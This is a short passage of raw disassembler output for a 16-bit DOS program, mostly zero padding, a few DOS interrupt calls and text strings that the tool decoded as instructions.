0000:0644 1800 SBB [BX+SI],AL
0000:0646 F1 DB 0F1H
0000:0647 1F POP DS
0000:0648 FFFF ??? DI
0000:064A FFFF ??? DI
0000:064C 0000 ADD [BX+SI],AL
0000:064E 0000 ADD [BX+SI],AL
0000:0650 0000 ADD [BX+SI],AL
0000:0652 0000 ADD [BX+SI],AL
0000:0654 0000 ADD [BX+SI],AL
0000:0656 0000 ADD [BX+SI],AL
0000:0658 0000 ADD [BX+SI],AL
0000:065A 0000 ADD [BX+SI],AL
0000:065C 0000 ADD [BX+SI],AL
0000:065E 0000 ADD [BX+SI],AL
0000:0660 CD21 INT 021H
0000:0662 CB RET ; INTERSEGMENT
0000:0663 0000 X0663: ADD [BX+SI],AL
0000:0665 0000 ADD [BX+SI],AL
0000:0667 0000 ADD [BX+SI],AL
0000:0669 0000 ADD [BX+SI],AL
0000:066B 0000 ADD [BX+SI],AL
0000:066D 2020 AND [BX+SI],AH
0000:066F 2020 AND [BX+SI],AH
0000:0671 2020 AND [BX+SI],AH
0000:0673 2020 AND [BX+SI],AH
0000:0675 2020 AND [BX+SI],AH
0000:0677 2000 AND [BX+SI],AL
0000:0679 0000 ADD [BX+SI],AL
0000:067B 0000 ADD [BX+SI],AL
0000:067D 2020 AND [BX+SI],AH
0000:067F 2020 AND [BX+SI],AH
0000:0681 2020 AND [BX+SI],AH
0000:0683 2020 AND [BX+SI],AH
0000:0685 2020 AND [BX+SI],AH
0000:0687 2000 AND [BX+SI],AL
0000:0689 0000 ADD [BX+SI],AL
0000:068B 0000 ADD [BX+SI],AL
0000:068D 0000 ADD [BX+SI],AL
0000:068F 0000 ADD [BX+SI],AL
0000:0691 0D6B6F OR AX,06F6BH
0000:0694 6465 JZ X06FB
0000:0696 6572 JNZ X070A
0000:0698 7A2E JPE X06C8
0000:069A 6578 JNZ X0714
0000:069C 6520 JNZ X06BE
0000:069E 613A JNO X06DA
0000:06A0 6B6F JPO X0711
0000:06A2 6465 JZ X0709
0000:06A4 6572 JNZ X0718
0000:06A6 2E6578 JNZ X0721
0000:06A9 650D JNZ X06B8
0000:06AB 0000 ADD [BX+SI],AL
0000:06AD 0000 ADD [BX+SI],AL
0000:06AF 0000 ADD [BX+SI],AL
0000:06B1 0000 ADD [BX+SI],AL
0000:06B3 0000 ADD [BX+SI],AL
0000:06B5 0000 ADD [BX+SI],AL
0000:06B7 0000 ADD [BX+SI],AL
0000:06B9 0000 ADD [BX+SI],AL
0000:06BB 0000 ADD [BX+SI],AL
0000:06BD 0000 ADD [BX+SI],AL
0000:06BF 0000 ADD [BX+SI],AL
0000:06C1 0000 ADD [BX+SI],AL
0000:06C3 0000 ADD [BX+SI],AL
0000:06C5 0000 ADD [BX+SI],AL
0000:06C7 0000 ADD [BX+SI],AL
0000:06C9 0000 ADD [BX+SI],AL
0000:06CB 0000 ADD [BX+SI],AL
0000:06CD 0000 ADD [BX+SI],AL
0000:06CF 0000 ADD [BX+SI],AL
0000:06D1 0000 ADD [BX+SI],AL
0000:06D3 0000 ADD [BX+SI],AL
0000:06D5 0000 ADD [BX+SI],AL
0000:06D7 0000 ADD [BX+SI],AL
0000:06D9 005718 ADD [BX+018H],DL
0000:06DC 0825 OR [DI],AH
0000:06DE A5 MOVSW
0000:06DF FEC5 INC CH
0000:06E1 07 POP ES
0000:06E2 1E PUSH DS
0000:06E3 0210 ADD DL,[BX+SI]
0000:06E5 07 POP ES
0000:06E6 57 PUSH DI
0000:06E7 18B10D47 SBB [BX+DI+Y0470DH],DH
0000:06EB 0104 ADD [SI],AX
0000:06ED 7F70 JG X075F
0000:06EF 0010 ADD [BX+SI],DL
0000:06F1 07 POP ES
0000:06F2 1D001C SBB AX,01C00H
0000:06F5 09A20D3D OR [BP+SI+Y03D0DH],SP
0000:06F9 0C1B OR AL,01BH
0000:06FB 02B10D02 X06FB: ADD DH,[BX+DI+Y020DH]
0000:06FF F24D REPNE DEC BP
0000:0701 360E PUSH CS
0000:0703 0300 ADD AX,[BX+SI]
0000:0705 0000 ADD [BX+SI],AL
0000:0707 00EE ADD DH,CH
0000:0709 002A X0709: ADD [BP+SI],CH
0000:070B 0F POP CS
0000:070C 42 INC DX
0000:070D 01C1 ADD CX,AX
0000:070F 0DB44C OR AX,04CB4H
0000:0712 B000 MOV AL,00H
0000:0714 CD21 X0714: INT 021H
0000:0716 4D DEC BP
0000:0717 7344 JAE X075D
0000:0719 6F73 JG X078E
Comments